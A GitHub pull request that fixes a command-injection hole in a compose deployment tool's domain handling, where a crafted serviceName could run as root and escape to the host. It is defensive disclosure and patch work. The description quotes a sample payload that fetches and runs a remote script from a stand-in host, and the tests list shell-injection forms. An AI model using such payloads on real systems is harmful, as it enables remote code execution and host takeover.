fix(security): command injection via compose domain serviceName (host escape)#4872
Open
Siumauricio wants to merge 2 commits into
Open
fix(security): command injection via compose domain serviceName (host escape)#4872Siumauricio wants to merge 2 commits into
Siumauricio wants to merge 2 commits into
Conversation
… injection writeDomainsToCompose returns a shell fragment that is executed as part of the compose build script. On error it interpolated error.message (which embeds the user-controlled serviceName/host) directly into an echo, so a serviceName like $(cmd) executed as root. Escape the message with quote().
dosubot
Bot
added
size:XS
…teral check) quote() legitimately wraps the payload text inside single quotes, so the raw substring is present but inert. leaksShellSyntax (via shell-quote parse) is the correct assertion; the literal not.toContain check was wrong.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes GHSA-xmmr-fhf3-cwwj (Authenticated RCE + Host Escape via Command Injection in Domain Management).
Problem
writeDomainsToComposereturns a shell fragment thatgetBuildComposeCommandembeds verbatim into the bash script run (as root) during a compose deploy. On the error path it interpolatederror.messagestraight into anecho:That error message embeds the user-controlled
serviceName(andhost) fromaddDomainToCompose. A member withdomain:createon a compose service can setserviceNameto e.g.$(curl evil|sh); when the service is not found, the message — and the payload — is executed. With the Docker socket mounted this escapes to the host.Fix
Escape the message with
shell-quote'squote()before it enters theecho, and drop the@ts-ignoreby narrowing the error. The value now reaches the shell as a single inert literal.Verification
__test__/compose/domain-command-injection.test.ts): mocks the compose file so a missing service forces the error path; asserts payloads ($(touch), backtick,;,&&|) parse as literal tokens (no operator tokens leak) while the legit message stays intact.Closes GHSA-xmmr-fhf3-cwwj.